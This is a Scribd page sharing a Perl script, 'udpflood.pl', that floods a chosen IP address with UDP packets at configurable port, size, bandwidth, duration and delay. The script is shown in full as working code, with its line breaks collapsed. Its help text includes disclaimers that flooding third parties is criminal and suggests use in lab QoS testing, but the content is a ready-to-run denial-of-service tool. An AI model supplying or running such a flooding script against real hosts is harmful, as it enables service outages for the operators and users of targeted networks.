Scribd
Upload
50 views

Udpflood PL

This document contains a Perl script that can be used to conduct a UDP flood denial of service attack against a target IP address. The script allows configuring options like the target port, packet size, bandwidth, duration of the flood, and delay between packets. It checks for invalid parameters, resolves the target IP, opens a socket, and enters a loop to continuously send UDP packets to flood the target until the specified time is reached or Ctrl-C is pressed. Warnings are given that this should only be used for testing and that flooding third parties is illegal.

Uploaded by

zennro
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
50 views

Udpflood PL

This document contains a Perl script that can be used to conduct a UDP flood denial of service attack against a target IP address. The script allows configuring options like the target port, packet size, bandwidth, duration of the flood, and delay between packets. It checks for invalid parameters, resolves the target IP, opens a socket, and enters a loop to continuously send UDP packets to flood the target until the specified time is reached or Ctrl-C is pressed. Warnings are given that this should only be used for testing and that flooding third parties is illegal.

Uploaded by

zennro
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

#!/usr/bin/perl ##################################################### # udp flood.

###################################################### use use use use our our our our our our Socket; strict; Getopt::Long; Time::HiRes qw( usleep gettimeofday ) ; $port = $size = $time = $bw = $help = $delay= 0; 0; 0; 0; 0; 0; # # # # # # UDP port to use, numeric, 0=random packet size, number, 0=random bandwidth to consume time to run inter-packet delay help

GetOptions( "port=i" => \$port, "size=i" => \$size, "bandwidth=i" => \$bw, "time=i" => \$time, "delay=f"=> \$delay, "help|?" => \$help); my ($ip) = @ARGV;

if ($help || !$ip) { print <<'EOL'; flood.pl --port=dst-port --size=pkt-size --time=secs --bandwidth=kbps --delay=msec ip-address Defaults: * random destination UDP ports are used unless --port is specified * random-sized packets are sent unless --size or --bandwidth is specified * flood is continuous unless --time is specified * flood is sent at line speed unless --bandwidth or --delay is specified Usage guidelines: --size parameter is ignored if both the --bandwidth and the --delay parameters are specified. Packet size is set to 256 bytes if the --bandwidth parameter is used without the --size parameter The specified packet size is the size of the IP datagram (including IP and UDP headers). Interface packet sizes might vary due to layer-2 encapsulation. Warnings and Disclaimers: Flooding third-party hosts or networks is commonly considered a criminal activ ity. Flooding your own hosts or networks is usually a bad idea Higher-performace flooding solutions should be used for stress/performance tes ts Use primarily in lab environments for QoS tests EOL exit(1); }

if ($bw && $delay) { print "WARNING: computed packet size overwrites the --size parameter ignored\n "; $size = int($bw * $delay / 8); } elsif ($bw) { $delay = (8 * $size) / $bw; } $size = 256 if $bw && !$size; ($bw = int($size / $delay * 8)) if ($delay && $size); my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Flooding $ip " . ($port ? $port : "random") . " port with " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time sec onds" : "") . "\n"; print "Interpacket delay $delay msec\n" if $delay; print "total IP bandwidth $bw kbps\n" if $bw; print "Break with Ctrl-C\n" unless $time; die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500); $size -= 28 if $size; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr)); usleep(1000 * $delay) if $delay; }

You might also like